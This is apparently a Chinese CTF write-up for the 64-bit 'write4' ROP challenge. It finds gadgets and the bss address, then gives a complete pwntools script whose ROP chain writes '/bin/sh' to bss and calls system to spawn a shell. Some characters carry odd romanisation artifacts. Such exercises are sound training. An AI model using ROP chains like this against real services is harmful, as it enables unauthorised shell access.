64位
我們照常來check一下保護(hù)

image.png
依舊是堆棧不可執(zhí)行保護(hù)
然后為了防止最后忘記這一步,我們先爆個字符串大小先

image.png
爆出來的數(shù)字是40
然后去ida里看看 有沒有system和’/bin/sh’

image.png
我們一看就能找到system啦!然后點進(jìn)去看地址咯

image.png
然后就繼續(xù)shift+fn+f12找字符串’/bin/sh’

image.png
我們只能找到一個和它很像的東西,但是很像也不是啊,所以我們要把’/bin/sh’寫進(jìn)bss段然后調(diào)用

image.png
我們找到的bss段的地址
然后我們找寄存器來存這些指令和數(shù)據(jù)(一個存bss段的地址一個存要寫入的參
數(shù)(這里是’/bin/sh’))

image.png
然后我們選那個r14、r15的地址
然后還要去找mov的地址來給寄存器賦值的

image.png
然后我們找到有r14和r15的,[r14]是代表r14的地址,r15則是對應(yīng)的值,假設(shè)r14地址為0x0401809,r15里的值是“abc”,則這個命令就是,讓r14里的地址指向r15里的內(nèi)容,即0x0401809->“abc”。
然后就可以構(gòu)造腳本啦
#!/usr/bin/env python
from pwn import *
sh = process('./write4')
system = 0x04005E0
bss = 0x0601060
r14_r15 = 0x0400890
move = 0x0400820
rdi = 0x0400893
#rbp = 0x04006b0
mov = 0x0400820
payload = "a"*40+p64(r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov)+p64(rdi)+p64(bss)+p64(system)
#rdi->bss
#gdb.attach(sh,"b *0x0400804")
sh.sendline(payload)
sh.interactive()
然后就可以getshell啦!

image.png